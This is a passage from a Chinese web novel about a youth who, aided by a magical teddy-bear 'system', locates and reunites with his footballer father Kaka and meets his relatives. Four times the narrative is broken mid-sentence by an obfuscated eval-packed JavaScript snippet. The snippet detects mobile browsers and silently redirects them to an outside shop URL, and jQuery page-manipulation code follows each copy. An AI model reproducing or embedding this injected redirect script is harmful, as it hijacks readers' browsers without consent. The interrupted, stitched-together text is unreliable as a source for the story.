不过王富贵并不后悔,这段时间,他见识到了很多风景,人文文化。 他感觉自己都显得有文化了。 “没钱了。”看着卡里的三十六块八,王富贵拍了拍自己的口袋,那里有只小熊正在呼呼大睡。 其实本来可以在多撑一段时间的,对从小过惯了苦日子的王富贵来说,九十块钱的宾馆和四百块钱的酒店他都可以接受,七块一碗的拉面和七十一碗的牛肉面也并无区别。 但是这些都被挑嘴的小熊打破。 从来没有人告诉过他,养一个朋友这么费钱。 “看来今晚要住公园了,还好现在是夏天。”王富贵在脑海里想着赚钱的方法。 “住公园?”小泰迪熊吓得从口袋里蹦出来,跳到王富贵的肩头,趴在他的耳边说道:“作为我的朋友,怎么能让你去住公园。” 他霸气的掏出一张黑色的卡片,拍到王富贵手里:“拿着这张卡,以后你的消费都由我来买单。” “这难道就是传说中的黑卡?”王富贵露出土老帽一般的神情。 “嗯。” “看不出来你还是一个资本熊。”王富贵打趣道。 “这只是我一个微不足道的小兴趣罢了。” 有了小熊的注资,王富贵的生活品质更上一层楼,直接住进了五星级酒店。 两人一路吵吵闹闹,就这样又过了一个月。 所以在某天醒来的时候,小泰迪熊给了王富贵一个天大的惊喜。 “王富贵,我现在有一个好消息要告诉你,你千万不要激动。” 彼时的王富贵还穿着睡衣躺在床上,被沉甸甸的玩偶熊蹦到胸口上,差点成功让他提前去见了上帝。 “下来。”王富贵咬牙切齿的说道。 泰迪熊乖乖的从他胸口上滑下来,不小心扯掉了一颗扣子,他有些心虚的将扣子踢下床,想装作什么事都没发生的样子。 他坐起身,看向了墙上的钟表,三点整,不是早上,不是下午,是凌晨三点,该睡觉的时间,这个该死的玩偶熊,在凌晨三点,该睡觉的时候,跳上他的胸口,硬生生的将他踹醒了。 朋友,有时就是这么得寸进尺,你让他一步,他就敢在你头上拉屎。 “你的好消息,最好真的是好消息。”王富贵化身容嬷嬷,一脸刻薄的打量着眼前瑟瑟的小熊。 似乎眼前这个小熊一会的回答让他不满意,就要直接将他扎成筛子。 “我,找到你的爸爸了。” “我找到你的爸爸了。” “爸爸” “爸爸” 王富贵突然感觉自己有些喘不上气。 或许是刚才小熊的力气太大了? 他有些模糊的想。 为什么感觉呼吸困难?耳边乱哄哄的,是谁在喊? “王富贵,你喘气啊,你要把自己憋死了,快喘气。”泰迪熊说完,就发现自己的好兄弟脸都憋红了。 这可把他吓的不轻。 在发现自己朋友在睡梦中哭着喊爸爸妈妈的时候,系统就决定,一定要实现自己朋友的愿望,怎么也不能让自己兄弟带着遗憾离开世界不是。 他先是用世界之书搜寻他兄弟的母亲,没有,不是……没找到,这就花了他一个月,最后得出的结论是,可能,大概,也许,人已经没了。 不死心的他又开始搜寻他兄弟的父亲,这个更难了,但是他没有放弃,最终,他抽丝剥茧,经过精密的推理,靠着他体内强大的运算软件,终于找到了兄弟的爹。 所以他第一时间将这个好消息告诉了王富贵。 “头晕,别摇了。”王富贵在自己脖子被摇断之前恢复了意识,保住了自己岌岌可危的脖子。 “哇哇哇,你吓死个人,我还以为我把你踹死了。” “我还没那么脆弱。”王富贵嘴硬的说道。 “那你现在要去见见你爸爸吗?” 见还是不见,那还用问吗? 当然是见。 下一瞬,黑白逆转。 听着下面的欢呼,王富贵呆愣楞的坐在椅子上,空调的风大在腿上,让他感觉有点凉。 “不是,你这是给我干哪来了。” 听着四面八方哇哇的外国话,他的脸上一片空白,他好像是记得,系统说过,他是外国人,所以这是给自己干国外来了? 可是,自己不会说外国话啊? “美国。”泰迪熊安静的坐在他的肩头,努力装做一个普通玩偶。 一个呼吸之间他就到国外了?不是,至少给他换个衣服的时间吧,他现在还穿着睡衣呢,感谢上帝,让他没有裸睡的习惯,要不然真的是要社死了。 旁边的人似乎都没有发现自己身边突然冒出的大活人,他们的注意力都被足球场吸引,只有不远处的摄像头会时不时从观众席扫过,又快速离开。 不过区区摄像头,对于系统来说就是小意思。 “我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849822|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 算不算是偷渡?”王富贵小声吐槽。 “可是按照你三十多块的余额,签证肯定不会通过的。”泰迪熊在耳边补刀。 系统扯了扯他的头发,让他看向斜后方,那里有个男人,正在专注的看着比赛,身边似乎是他的家人。 “金嗓子喉宝????” 泰迪熊:“什么金嗓子,,你别给我扯犊子,那是你爸爸!! !” “你们两个的脸张的一模一样啊,兄弟。” “有吗?”王富贵这才认真打量起那个男人,然后他就发现,那个男人长得可真帅,帅的他都睁不开眼了。 他们真的张的像吗?为什么他从来没觉得自己长的帅呢? “确定吗?会不会搞错了?”王富贵有些不确定的问到,这要是搞错了多尴尬啊。 “错不了。” 里卡多.伊泽克松.多斯.桑托斯.莱特 是巴西著名的球星,而且,他还是你的亲生父亲。 “他的名字好长,我的名字才三个字,你说我的名字时不时有点土?” 泰迪熊瞪大了眼睛,他觉得自己有些跟不上自己哥们的脑回路。 他兄弟的种种行为,让他想要大喊一句“兄弟,你要干啥?”但是他忍住了,他忍不住为兄弟解释,这是见到亲生父亲,紧张了。 “外国人名字都是这么长,要不你也该一个,改个比他还长的,哎,你准备好,我刚才联系了总部,你只要获得你这个身体所有亲人的认可,你的bug 身份就可以解除,兄弟,现在时间不等人,为了你的……” “我感觉我的名字其实也挺好的。” 泰迪熊:“(⊙_⊙)” 兄弟,你先听我说,我这几个月不眠不休的,寻找你能活下来的机会,你现在跟我纠结,你的名字是仨字,纠结你的名字好不好听?你在这样,我可走了,我走了就在也不回来了。 “我和你说过我的名字是怎么来的吗?”王富贵还沉浸在自己的思绪里“我师父当初没文化,给我起名字这件事愁坏了他,最后他决定名字这件事还是要让我自己来,免得他起的不好,将来我长大了会怪他,王富贵这个名字,其实是我在抓周宴上自己抓到的名字呢。” “我感觉他是那些名字里最好听的那个。” “剩下的那些名字他也没扔,而是放在玻璃罐里,说留着给我将来的儿子用。” 泰迪熊的表情变得有些一言难尽,他想起自己收拾行李时确实见到过一个玻璃罐子,当时他还打开看来这,发现里面只是一些纸条后,就不感兴趣给扔到一边了。 那里面是名字? 那不得不说他兄弟的运气是真不错了,他至今忘不了那上面的字“狗剩,狗蛋,钢蛋,铁柱……”在这一堆名字里,能精准的挑到富贵,苍天待他兄弟不薄啊。 “兄弟,你的感觉不错,我也感觉你的名字,是里面最好听的。” “可是,我现在感觉自己的名字土土的。” “怎么会呢?我感觉你的名字很好听啊。” “在我心里,你的名字,无敌好听,爆炸好听的好嘛。” 5. 认亲,如此简单 “我喜欢自己的名字,就算这个名字很土,我也不会改名,还有不要被友情蒙蔽了你的双眼,外面的世界也很美好。” 看到自己兄弟振作起来,泰迪熊感觉自己很欣慰。 “那现在就要制定一个周密的计划,来接近你爸爸,在不经意之间让他发现你是他儿子。” “为什么要这么麻烦,我和他长得这么几乎一模一样,看脸就知道我是怎么来的。” “……” 这话泰迪熊实在是没有任何理由反驳。 “可是,你们两个人的气质,一点也不像,除非你一直当个哑巴,不然一旦开口。” 泰迪熊说的很对,不同于卡卡里卡多拥有圣洁亲和的气质,和一口洁白无暇的牙齿,王富贵有着一颗调皮的小虎牙,这使得他一笑起来就如同一个坏小子。 “速战速决。”王富贵现在只想和那个近在咫尺的人问一句话,眼前这个男人,到底还记不记得,他还有自己这个儿子,为什么会抛弃自己…… 他现在对自己是这个叫做里卡多的男人的儿子深信不疑。 他站起身,向着后方走去,却又在迈了两三步后又坐了回来。 然后沮丧的捂住脸,深吸了口气问到:“你说,他中文说的好不好?” “泰迪熊:“w(?Д?)w” “我不会说外国话。” 想想自己兄弟的普通话,泰迪熊陷入了沉默,他们乱绕这些日子,他兄弟这一口地方普通话可是闹出过不少笑话。 “你可以说英语。” 点头yes,摇头no,来是come去是go。 王富贵露出惨不忍睹的表情,开口说道:“这是我仅有的英语知识储备了。” 出师未捷身先死,长使英雄泪满襟,两个人就这样在座椅上陷入了沉默。 果然,语言才是世界上最大的鸿沟。 “别灰心,我可是系统。”泰迪熊安慰着自己的兄弟,然后开始查看自己的小金库,看到上面的积分后松了口气,还好积分不是零。 他记得商城里是有语言转换器的,并且积分也不贵。 他毛茸茸的爪子随手一扒拉,眼前就出现了一道光幕,除了那些套装,这是泰迪熊第一次从系统自带的商城里买东西,毕竟这里的东西性价比实在是不高。 但是现在也顾不得这些了,与积分相比,还是自己兄弟的命更重要,积分可以再赚,人要是没了,那就是真没了。 翻了半天,他终于找到了语言转换器,从初级到高级,从普通到华丽的外边,甚至还能私人定制。 泰迪熊一眼就被最上面的那个吸引,那是一颗由异常闪亮的钻石镶嵌而成的而定,仅一眼,他就认为,只有这个才配的上自己的兄弟。 “给你。”手里被塞进一个盒子,王富贵疑惑的打开手里的盒子,然后就看见了单只钻石耳钉,宝石在太阳的照射下折射出五彩的光芒,这大宝石一看就沉甸甸。 “这是啥?”王富贵沉默的看着手里的东西。 “语言转换器,这个可是高科技。”快带上试试看,泰迪熊的语气里带着莫名的兴奋。 “可是我没有耳洞。”王富贵做着最后的挣扎。 “没有影响的,你戴就行了。” “你不感觉我一个男的戴耳钉很奇怪吗?而且这个也太丑了。” “那咱们现在回去报名葡语班,如果有奇迹的话,你说不定一天就速成了呢。”泰迪熊语气里带着嘲笑。 毕竟他兄弟在两个月前,就发誓要说好普通话,结果两个月过去了,普通话还是没有一点进步,或者说更差了。 “我是感觉这玩意带耳朵上太招摇了。”王富贵干巴巴的解释。 “哦,谁说这个是耳钉的,你要是愿意,也可以带鼻子上,嘴唇上,肚脐上,……实在不想让人看到带舌头上也是可以的,现在选个位置带上,立刻马上。”最后的声音不自觉的放大,吓得王富贵身体一抖。 “那还是带耳朵上吧。”其他位置听起来就太超纲了,他实在是接受不了。 他把耳钉拿起靠近耳垂的下一秒,就感觉似乎被针扎了一下,接着耳垂感受到一股拉扯的钝痛。 “这玩意太沉了。”他小声的抱怨道,然后发现刚才旁边叽哩哇啦的话,自己竟然能听懂了。 泰迪熊满意的看着王富贵戴着耳钉的耳垂,有了耳钉的点缀,让王富贵的脸显的更加桀骜不驯,也更加帅气。 王富贵还沉浸在自己竟然能听明白外语的欣喜中,然后他就听见旁边几个人竟然在讨论自己。 用词大胆激烈,吓得王富贵赶紧把目光移到了别处,生怕和他们对视,并且在心里感慨,真的是好可怕的外国人,或许自己应该带上一个口罩,他记得自己的口袋里就有一个。 在摄像头第三次从这里飘过,王富贵终于鼓起勇气,站起身,向着里卡多的座位移动。 卡卡本来正在专注的看着下面的比赛,就发现一个人站在了自己的正前方,正好挡住了下面的比赛,那是一个穿着睡衣的男孩?脸上还带着一个一次性口罩,把脸遮的严严实实,手指紧紧的捏着自己的衣服下摆,还是暴露了他的忐忑。 “是自己的粉丝吗?”虽然早就已经挂靴,但是卡卡今天才发现自己到现在还是有不少粉丝,刚才已经来了几波和自己合照。 思及此,卡卡露出一个温和的微笑,开口问到:“想要来张合影吗?baby?” 王富贵站着没有动,卡卡感到有些尴尬,难道不是自己的粉丝? 他看着卡卡的脸,仔细观察后,发现,自己和眼前的人真的长得很像。 他舔了舔下唇,眼睛无意识的扫过四周,发现有不少人都看向自己这里,才开口说道:“里卡多先生,我,能找你单独谈谈?” 男孩的声音里夹杂着忐忑和紧张,卡卡有些莫名,他和眼前的人应该不认识才对。 而他附近的迪甘也察觉到了不对,起身站了起来,正准备向着这里走来。 或许是怕引起骚动,王富贵赶紧俯下身,将自己的脸杵在卡卡脸前,然后飞速的扯下口罩,又快速拉了上来。 但是他能确信,卡卡绝对已经看到了自己的脸,从他那呆滞的表情里就能看的出来。 眼看自己达到目的,王富贵在次开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849823|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “里卡多先生,现在,我们两个可以单独谈谈吗?” 卡卡这才如梦出醒般点点头,他精神恍惚的站起来,梦游一般跟着王富贵一起离开了自己的椅子。 中途还呵斥了想要跟过来的弟弟和儿子女儿们。 两人一起来到外面,因为所有人都在看球的关系,这里只有零星的几个人。 卡卡的身体颤抖,他有些哽咽的开口:“孩子,你是谁?” 王富贵拉下了包裹自己脸颊的大口罩,开口说道:“里卡多先生,我是你的亲生儿子,今年十八岁了,我是来寻亲的。” “如果您不相信,我们可以做亲子鉴定,我只是想见见我素未谋面的亲人,如果您不能接受我,我以后也可以不出现在您面前。” 说话的时候他一直低着头,有些不敢看卡卡,他生怕眼前的男人会不承认自己的存在,会说自己是别有用心的接近。 看着他和自己太过相似的脸庞,卡卡一时之间愣在原地。 在看到王富贵的脸时,他就已经猜到这个结果,他不知想到什么,眼神复杂极了,开口询问道:“这些年里,你是怎么生活的,过的好不好?” “我……”王富贵一愣,他本来以为眼前的男人会在第一时间怀疑自己的真实身份,但却没想到,他在第一时间竟然会关心自己以前过得好不好。 “我被收养了,过的挺好的。” 看着卡卡的脸,王富贵觉得自己竟然说不出口自己从前的那些经历。 在兜里的泰迪熊急的直跳脚,他兄弟这是干什么,现在最重要的就是博取同情,让眼前的人承认王富贵是他的孩子。 他到底知不知道什么叫做时间紧任务重啊? 然后泰迪熊紧张的扣着手指,这可是他第一次违反主系统的规则,要是被发现他也会被销毁。 现在最重要的就是赶紧完成任务,他下意识的摩擦着任务面板,然后发现…… 任务已经完成了,里卡多·莱特已经从心里确认王富贵就是他的孩子。 这么草率的吗?亲子鉴定还没做呢,难道就凭着一张脸吗? 还是说,碳基生物之间有他这个硅基生物理解不了的亲子感应? 不过,至少结局是好的,他兄弟活下来了。 泰迪熊在心里暗暗松了口气。 卡卡看向王富贵的眼里充满了心疼。 眼前的男孩比他还要矮三厘米左右,他们莱特家族全都是高个子,他一直是家里最矮的那个,而王富贵没有涨身高就说明了,他的童年过得很苦。 王富贵看着卡卡通红的眼眶越加无措。 他想要说这什么,打破这种气氛。 下一秒,他就被卡卡紧紧的拥在怀里,一个轻轻的吻落在颈边,随即而来的滚烫的热泪。 那泪烫极了,烫的他几乎不能呼吸,很奇怪的,他从里面感受到了面前这个男人对自己的爱。 应该要推开的,这里这么多人,王富贵在心里想到,可是现在推开的话,眼前的人一定会更伤心吧? 最后,王富贵选择回抱住眼前的男人,两个人紧紧的抱在一起,不得不说这感觉还不赖。 6. 他就是我的孩子 直到迪甘和几个孩子的到来打破了温馨的氛围。 他们全都震惊的看着两张形似的脸,表情各异。 王富贵有些不好意思的推开卡卡,他下意思的咬紧下唇说道:“还是做个亲子鉴定比较好。” 卡卡也看到了迪甘他们,他开心的笑着对迪甘说道:“迪甘,我找到他了。”他不知道的是自己早就已经泪流满面。 他给迪甘介绍着王富贵:“迪甘,这是,是……”这时他才想起来自己还没有问王富贵叫什么名字,他伸手揉了揉眼前男孩的寸头,柔声问到:“可以告诉我你的名字吗?” “王富贵”王富贵开口说道,他的声音不自觉的有些颤抖,为什么他现在也感觉自己的名字有点土。 “富贵。”卡卡轻声重复着这个名字,虽然感觉名字有些奇怪和绕口,但还是开口夸奖道:“真是一个好听的名字,和你的长相配极了。” “是吗?”王富贵在心里松了口气。 “这是富贵,他是我的孩子。”卡卡对着众人开口说道。 这一点似乎没有人会怀疑,毕竟两个人张的太过于相似,不过迪甘还是为两人安排了亲子鉴定,并且询问两人一会是继续看球还是想要单独逛逛。 卡卡也为王富贵介绍了迪甘,卢卡,伊莎贝拉,以斯帖和萨拉还有跟在他们身后的自己的二婚妻子,卡罗琳娜。 一二三四五,王富贵看着眼前的一堆人,不死心的又数了一遍,他刚找到的爸,竟然有五个孩子? 王富贵勉强和这些人打过招呼,脸色有些发黑,就连他自己也不知道为什么。 而在众人身后的卡罗琳娜的脸色同样臭的不行,她挤进人群,仔细的打量着王富贵,然后发现,眼前的人在不开口说话的时候,简直就是年轻版的卡卡,只要站在他们两个人面前,就不会有人怀疑两人的关系。 她只好咽下到嘴边的怀疑,开口说道:“这孩子,你多大了?” 不明白为什么眼前的女人对自己的敌意因何而来,他看着开心的卡卡,实在是不想破坏现在的氛围。 只好乖乖的回答:“十八岁。” 眼前的女人却脸色大变,十八岁,现在是2030 年,这个孩纸十八岁就代表着他是2012 年出生的,可是她怎么从来没有听说过卡洛琳和卡卡还有第三个孩子,那这个孩子只有可能是…… 迪甘显然也是这个想法,面对着这个和卡卡长相如此相似的人,他的内心里充满了复杂。 “卡卡,我想我需要和你单独谈谈。”迪甘走到卡卡面前小声说道。 “好的,迪甘。”卡卡给了王富贵一个安抚的微笑,并对他说:“富贵,你先在这里休息一下,我马上就回来,你可以先和卢卡他们一起玩……” 看着卡卡离开的背影王富贵对着剩下的人很尴尬的不礼貌的微笑,这些人,他一个也不喜欢。 自然更没有想要交流的想法。 最终还是卡罗琳娜先开口问到:“孩子,这些年你真是受苦了,我能问一下,你,你的母亲……” “我不知道我的母亲是谁,我被收养之后,从小在华国长大,这次认亲也只是想要见见我素未谋面的父亲,过两天就会离开,并不会打扰你们的生活。”看出这些人似乎并不欢迎自己,王富贵主动开口说解释。 听到王富贵的解释,卡罗琳娜松了一口。 毕竟卡卡是一个公众人物,就算退役多年,突然冒出一个私生子,对他的名声也不好。 迪甘带着卡卡避开了媒体走进一个空旷的房间,在关上门后才松了一口气。 但是他知道,现在才是重头戏:“卡卡,告诉我,那个男孩的母亲是谁?”要知道2012年,卡卡还并没有离婚,要说卡卡是婚内出轨,不,他相信他哥哥的人品,并不会做这种事。 “是不是人工代孕?天哪?主不会原谅你这种行为的,告诉我卡罗琳当初离婚是不是就是因为……还有,孩子为什么现在才出现,是你把他扔了吗?” “迪甘,你先别激动。”卡卡先是安抚了情绪激动的弟弟,才缓缓开口:“富贵具体怎么来的我并不能告诉你,我能告诉你的是他并不是代孕来的,还有他绝对是我的孩子,我当初被弄丢是我永远的痛,还好,他现在回来了。” “他从出生就不在我身边,一个人生活到了现在一定受了很多苦,我希望你能像爱我一样爱他。” “孩子,卡卡,那是一个孩子啊,”迪甘崩溃的说道:“我似乎已经开始不认识你了,你能告诉我,孩子是怎么丢的吗?为什么这么多年你从未找过他。” “我以为他已经死了,所有人都告诉我他死了,我见他的最后一面,他小小的身躯安静的躺在我的怀里,不会笑,不会动,不会呼吸。就那么安静的躺在我的怀里,是我亲手埋葬了他,但是他们都是骗我的,我的孩子根本就没死,他好好的活在这个世界上,我被骗了。” 卡卡的语气也变得激动,他崩溃的揪住自己的头发,没人知道他的内心有多痛苦。 “谁,是谁骗了你……” 迪甘发现卡卡情绪的不对劲,紧紧的抱住浑身颤抖的卡卡,安慰道:“卡卡,你看着我,没事了,孩子已经回来了,他没死,没死。” 他知道卡卡现在又陷入了抑郁的情绪,现在绝对不能刺激他,孩子的事,慢慢来,他总会知道的。 等两人回来的时候,王富贵已经从新戴上了口罩,手指正在逗弄口袋里的泰迪熊,他刚才就已经知道了完成任务的事,现在心情轻松极了。 他发现迪甘回来后看着自己的目光充满了慈祥,这令他有些不自在。 “卡卡这是和他说了什么?” “富贵”他有些蹩脚的开口说道:“孩子,你的爷爷奶奶正在从巴西赶过来的路上,他们也想见见你。” 似乎是怕给眼前的男孩压力,他开口解释:“孩子,别有压力,如果你现在不想见到他们,我可以通知他们不要来。” “你们就这样信任我?或许应该先做下亲子鉴定再说?” 明明亲子鉴定还没有做,就这么确定自己是卡卡的亲生孩子了?

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849824|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > “哦,”迪甘抚上了王富贵的脸,开口说道:“看着你这张脸,就不会有人怀疑你的身世。” 突如而来的亲密让王富贵有些不适应的后退两步。 保守的华国人,还是不适应外国人的亲密。 还是卡卡将的头他从迪甘的手里解救出来,他拉着他的手说道:“孩子,咱们先回家。” “比赛还没结束,现在……”王富贵有些疑惑,毕竟和自己不一样,他们是来看比赛的,就算是他对足球了解不多,也是知道世界杯四年才一次,这次错过,下次就只能再等四年。 卡卡来了兴趣,他拉着王富贵的手并没有放开,而是调转了一个方向:“对足球感兴趣?你想留在这里看比赛吗?如果你想的话,那就看完再离开。” 王富贵就这样懵逼的被拉回了场内,只不过这次他的位置就在卡卡身边。 看着球场上跑动的人和球,他抬头看了一眼天上的大太阳,感觉一阵头晕眼花。 卡卡的眼睛没有离开过球场,手却一直没有放开,而是紧紧的攥着。 耳边的欢呼声震得王富贵耳朵发疼,而且那颗超大钻石耳钉,真的坠的耳朵疼。 头疼,耳朵疼,耳垂疼,手还被攥的生疼,等比赛终于结束,他才松了口气。 球迷还在欢呼,卡卡趁着现在想要带着家人离开,却在门口被堵个正着。 在闪光灯亮起来的那一刻,王富贵只有一个念头,那就是“好闪,自己要瞎了。” 就算卡卡眼疾手快的挡住了他的眼睛,他的眼睛还是被闪的眼泪直流。 话筒从四面八方递了过来,他们在比赛的时候就注意到了卡卡身边那个戴口罩的人,现在十分好奇那个男孩是谁? 还好迪甘早有准备,保镖们已经等在了门口,不过他们之间隔着一群狂热球迷,才让这群记者有了可乘之机。 保镖护送着几人隔开了媒体人,想要直接带着几人离开,但还是出了意外,王富贵被挤进了那群球迷堆里。 从来没追过星的王富贵今天可算是见识到他们的厉害了。 他们又搂又抱,又唱又跳…… 等他出来,他那结实的丝绸睡衣,已经烂成破布条,口罩早就已经消失不见,脸上还留下了两个大口红印。 他的脸上的表情懵懵的,显然受到了很大的冲击。 还是卢卡看不过去,将他从人群里拽了出来后,还分给了他一个口罩。 他拍了拍这个素未谋面的弟弟,开口安慰:“别怕,慢慢习惯就好。” 变成弟弟的王富贵:“( ̄へ ̄)” 卡卡被媒体人缠住,等他回过来就看到一身乞丐装的王富贵,差点乐的直不起腰。 直到回到酒店,王富贵才松了口气。 “亲子鉴定下午就会出结果。”迪甘对卡卡说道“这段时间你们先呆在酒店里,不要出去,外面可能有蹲守的媒体。” 王富贵明确拒绝了卡卡在媒体前公布自己是卡卡的亲生孩子,今天的经历还是给他造成了很大的心里压力。 7. 恶语伤人心 “真的不出去走走吗?”卡卡趴在床上,看着自己自己失而复得的好大儿,手里拿着手机在不停的点点点。 作为从来没有走出过国门的娃,王富贵对国外还是充满好奇的。 “只有咱们两个人吗?”王富贵问到。 “当然。”卡卡收起手机,看着坐在椅子上男孩,给了他一个肯定的微笑。 似乎是知道王富贵并不想和其他人接触,其他人的房间离这里并不近。 王富贵穿着卡卡专给自己找出来的球衣,感觉很不自在,他想要去买几件衣服。 男人似乎天生都不适合逛街,两人只是逛了一会就跑了回来。 迪甘拿着亲子鉴定结果过来,将手上的纸递给两人。 王富贵:“……”看不懂 卡卡看着手里的99.9%松了一口气,他就知道不会出错,在看到王富贵的第一眼,他就知道,这是他的孩子。 “富贵,你就是我的亲生孩子,上帝保佑,让他又回到我的身边。”卡卡闭上眼睛开始祷告。 然后王富贵发现迪甘也在祷告。 “王富贵:“……” 世界杯定没有结束,而且卡卡的父母也在往这边赶来,卡卡他们决定要在这里多留两天。 对此王富贵没有什么想法,泰迪熊已经帮他补办好了签证,还有身份证一系列东西。 就算是离开卡卡,他也能够回国。 他已经决定了,见到卡卡的父母后就回华国去,他这华国胃实在是受不了白人饭的摧残了。 他现在已经找到了自己的父亲,完成了自己想了那么久的心愿,还解决了自己生存问题,父亲现在有了新的家庭孩子,自己不应该再打扰他们。 卡卡并不知道他的想法,他现在开心极了,这段时间他见了很多老朋友,虽然王富贵并不想让别人知道自己是著名球星卡卡的孩子。 但是卡卡还是决定将他介绍给自己的朋友。 第一个人就是罗纳尔多·路易斯·纳扎里奥·迪力马,又称大罗。 他们遇见是个意外,卡卡发现自己的儿子竟然是个宅男,就一直想要拉着他去走走,但是他忘了自己其实是个路痴。 然后两个人都迷路了,美国晚上的治安并不好,在路过酒吧门口三次的时候,卡卡决定下去问路。 问路这件事肯定不能是名人卡卡来,那就只能王富贵来了 就那么凑巧,问的人就是大罗。 卡卡带着口罩站在一边,就那样被认了出来。 看着王富贵的脸,大罗的脸都是僵的,毕竟世界上不会再有第二个人和卡卡长得这么像了。 “这是你儿子?”大罗鬼鬼祟祟的将俩人拉到自己车上,看到没人看到才松了口气。 卡卡点点头,大罗深吸了口气,还好还好,他不是穿越了,天知道,在看到王富贵的第一眼,他真的以为自己穿越了。 “你这儿子可真像你,小孩,将来有没有兴趣踢球?”大罗好奇的问到。 王富贵摇摇头,他对踢球没有什么兴趣,他只对中医感兴趣。 得到答案,大罗也不失落,毕竟他自己的儿子都不踢球,不踢球也好,你看咱们这些老家伙,身体哪有健康的? 老朋友见面,两个人高兴极了,话说个不停,让旁边的王富贵无聊的想打哈欠。 王富贵也曾问过卡卡,他的亲生母亲是谁,结果卡卡回答的含含糊糊的,王富贵也没了探究的欲望,毕竟泰迪熊已经确认过了,他的母亲已经不在了。 现在这个话题,又被大罗问了出来。 卡卡有些尴尬的不知道怎么回答。 “嘿,怎么也不可能是罗纳尔多生的,有什么好遮遮掩掩,不过那个家伙知道你又多了这么个儿子吗?他肯定不知道,他要是知道的话一定会被气死哈哈哈哈哈。”大罗说完才反应过来自己说了什么,他有些懊恼,自己怎么在今晚提起那个人的名字。 直到他观察到卡卡的神色似乎并未有所变化才松了口气。 看着王富贵的脸大罗开玩笑的说道:“孩子不想踢球,可以去闯闯娱乐圈,就凭这张脸,到时候肯定是国际巨星。” “看他将来想做什么,想做什么我都支持,他就算是什么都不做,我也养得起他。”卡卡霸气回复。 一个人知道了,那就是所有人都知道了,自从那天见过大罗之后,这几天又有很多朋友陆续过来拜访,主要还是都想见见那个传说中卡卡的儿子。 王富贵也跟着认识了不少卡卡的朋友,这些人大多数都是足球运动员,看着和他们聊天的卡卡,他觉得只有在这个时候,卡卡才是真的开心,因为他看到只有聊到足球的时候,卡卡的眼里才有光。 西蒙尼和博斯科到的时候,美国正在下雨,卡卡带着王富贵一起等在机场,卢卡和贝拉本来也想要来,但是因为感冒全都留在了酒店。 王富贵打着伞,看着人从来人往,这些日子他感受到了以前从未体会过的父爱,不是说收养养大他的王老头不爱他,而是王老头那种爱是严苛的,是担忧的。 王老头总会担心有一天自己离开,王富贵小小一个怎么活下去,所以在有限的时间里,他拼命的想要把自己会的,交给王富贵,所以小小的王富贵就会辨认药草,会开药方…… 西蒙尼和博斯科长得很慈祥,他们两个在看到王富贵的时候,先是吃惊,然后是泪流满面。 “孩子,你一定受苦了,卡卡小时候发育迟缓,十八岁的时候都比你要高。”西蒙尼的实话刺痛了王富贵的心。 王富贵:“……” 恶语伤人心。 卡卡在一旁笑的肩膀都在颤抖。 就连口袋里的泰迪熊都乐的打滚。 在华国,他从来没感觉自己矬,现在却频频给他打击。 然后这唠叨就一直没听过,尤其是在吃饭的时候,西蒙尼看着王富贵吃饭,眼睛不自觉的瞪大。 “孩子,是饭不和胃口吗?”西蒙尼的眼里充满了担忧,王富贵有些疑惑他为什么这么说,毕竟他吃的并不少,是他平时正常的饭量。 “要知道,你爸爸像你这么大的时候,什么都吃,他一顿饭吃的至少是你的三倍。”西蒙尼有些担忧的看着卡卡,继续说道:“就算是这样,他在家里也是最矮的,哦,现在不是了,现在你才是最矮的。” 王富贵想说“他现在才十八岁,还会再长。”但是看着西蒙尼揶揄的眼神,还是闭上了嘴巴,又硬着头皮多吃了点饭。 晚饭撑的他肚子疼,饭也不和胃口,为了消食他只好在酒店里溜达。 月亮照在巨大的泳池上,泛着粼粼波光,美丽极了,只是可惜王富贵并不会游泳。 王富贵坐在酒池旁的沙发上,看着月亮,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849825|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 现国外的月亮其实也就这样,他想回家了。 泰迪熊在口袋里打滚,他现在的任务算是完成了,本来可以现在就出发去享受自己的年假,而且更好的消息是他升职了,现在是小组长,就是说原来挤破头想抢的修仙世界,现在只要他想,就可以去。 